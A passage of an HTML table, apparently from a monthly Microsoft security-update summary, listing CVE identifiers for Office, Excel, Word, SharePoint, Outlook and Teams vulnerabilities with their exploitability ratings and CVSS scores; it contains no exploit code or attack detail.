Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64912">CVE-2026-64912</a></td><td><p>Microsoft Access Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64908">CVE-2026-64908</a></td><td><p>Microsoft Access Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64914">CVE-2026-64914</a></td><td><p>Microsoft Access Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64920">CVE-2026-64920</a></td><td><p>Microsoft Access Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64919">CVE-2026-64919</a></td><td><p>Microsoft Access Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68802">CVE-2026-68802</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68808">CVE-2026-68808</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68813">CVE-2026-68813</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70318">CVE-2026-70318</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70327">CVE-2026-70327</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70328">CVE-2026-70328</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68797">CVE-2026-68797</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68799">CVE-2026-68799</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65807">CVE-2026-65807</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68793">CVE-2026-68793</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68794">CVE-2026-68794</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68795">CVE-2026-68795</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68796">CVE-2026-68796</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68800">CVE-2026-68800</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68807">CVE-2026-68807</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68806">CVE-2026-68806</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68810">CVE-2026-68810</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68811">CVE-2026-68811</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68815">CVE-2026-68815</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68816">CVE-2026-68816</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68798">CVE-2026-68798</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68801">CVE-2026-68801</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68803">CVE-2026-68803</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68804">CVE-2026-68804</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68805">CVE-2026-68805</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68812">CVE-2026-68812</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68814">CVE-2026-68814</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68817">CVE-2026-68817</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68792">CVE-2026-68792</a></td><td><p>Microsoft Office Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63517">CVE-2026-63517</a></td><td><p>Microsoft Office Graphics Component Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62842">CVE-2026-62842</a></td><td><p>Microsoft Office Graphics Component Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-66809">CVE-2026-66809</a></td><td><p>Microsoft Office Graphics Component Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63513">CVE-2026-63513</a></td><td><p>Microsoft Office Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63519">CVE-2026-63519</a></td><td><p>Microsoft Office Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65664">CVE-2026-65664</a></td><td><p>Microsoft Office Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63526">CVE-2026-63526</a></td><td><p>Microsoft Office Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-66807">CVE-2026-66807</a></td><td><p>Microsoft Office Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70315">CVE-2026-70315</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70314">CVE-2026-70314</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70317">CVE-2026-70317</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70323">CVE-2026-70323</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63524">CVE-2026-63524</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63529">CVE-2026-63529</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64899">CVE-2026-64899</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63515">CVE-2026-63515</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65657">CVE-2026-65657</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65656">CVE-2026-65656</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65661">CVE-2026-65661</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63532">CVE-2026-63532</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63533">CVE-2026-63533</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64898">CVE-2026-64898</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64903">CVE-2026-64903</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64904">CVE-2026-64904</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64909">CVE-2026-64909</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64910">CVE-2026-64910</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64911">CVE-2026-64911</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70130">CVE-2026-70130</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57105">CVE-2026-57105</a></td><td><p>Microsoft Office SharePoint Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70306">CVE-2026-70306</a></td><td><p>Microsoft Office SharePoint Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63521">CVE-2026-63521</a></td><td><p>Microsoft Office Word Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70319">CVE-2026-70319</a></td><td><p>Microsoft Office Word Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63528">CVE-2026-63528</a></td><td><p>Microsoft Office Word Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63530">CVE-2026-63530</a></td><td><p>Microsoft Office Word Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63531">CVE-2026-63531</a></td><td><p>Microsoft Office Word Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64917">CVE-2026-64917</a></td><td><p>Microsoft Office Word Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-66806">CVE-2026-66806</a></td><td><p>Microsoft Office Word Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-66810">CVE-2026-66810</a></td><td><p>Microsoft Office Word Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63518">CVE-2026-63518</a></td><td><p>Microsoft Office Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70311">CVE-2026-70311</a></td><td><p>Microsoft Office Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63525">CVE-2026-63525</a></td><td><p>Microsoft Office Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63527">CVE-2026-63527</a></td><td><p>Microsoft Office Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64905">CVE-2026-64905</a></td><td><p>Microsoft Office Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64907">CVE-2026-64907</a></td><td><p>Microsoft Office Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64915">CVE-2026-64915</a></td><td><p>Microsoft Office Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65680">CVE-2026-65680</a></td><td><p>Microsoft OneDrive for MacOS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70329">CVE-2026-70329</a></td><td><p>Microsoft Outlook Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62882">CVE-2026-62882</a></td><td><p>Microsoft Outlook Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70313">CVE-2026-70313</a></td><td><p>Microsoft PowerPoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70324">CVE-2026-70324</a></td><td><p>Microsoft SharePoint Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70321">CVE-2026-70321</a></td><td><p>Microsoft SharePoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62827">CVE-2026-62827</a></td><td><p>Microsoft SharePoint Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70355">CVE-2026-70355</a></td><td><p>Microsoft SharePoint Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64921">CVE-2026-64921</a></td><td><p>Microsoft SharePoint Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70326">CVE-2026-70326</a></td><td><p>Microsoft SharePoint Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62837">CVE-2026-62837</a></td><td><p>Microsoft SharePoint Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63514">CVE-2026-63514</a></td><td><p>Microsoft SharePoint Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63520">CVE-2026-63520</a></td><td><p>Microsoft SharePoint Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65658">CVE-2026-65658</a></td><td><p>Microsoft SharePoint Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65663">CVE-2026-65663</a></td><td><p>Microsoft SharePoint Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65665">CVE-2026-65665</a></td><td><p>Microsoft SharePoint Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64901">CVE-2026-64901</a></td><td><p>Microsoft SharePoint Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-66805">CVE-2026-66805</a></td><td><p>Microsoft SharePoint Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-66808">CVE-2026-66808</a></td><td><p>Microsoft SharePoint Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62829">CVE-2026-62829</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63516">CVE-2026-63516</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64922">CVE-2026-64922</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65660">CVE-2026-65660</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64897">CVE-2026-64897</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64900">CVE-2026-64900</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64902">CVE-2026-64902</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64916">CVE-2026-64916</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58639">CVE-2026-58639</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62839">CVE-2026-62839</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62917">CVE-2026-62917</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-63512">CVE-2026-63512</a></td><td><p>Microsoft SharePoint Server Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65767">CVE-2026-65767</a></td><td><p>Microsoft Teams for Android and iOS Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65769">CVE-2026-65769</a></td><td><p>Microsoft Teams iOS Information Disclosure Vulnerability</p></td><td><p>Exploitation Less 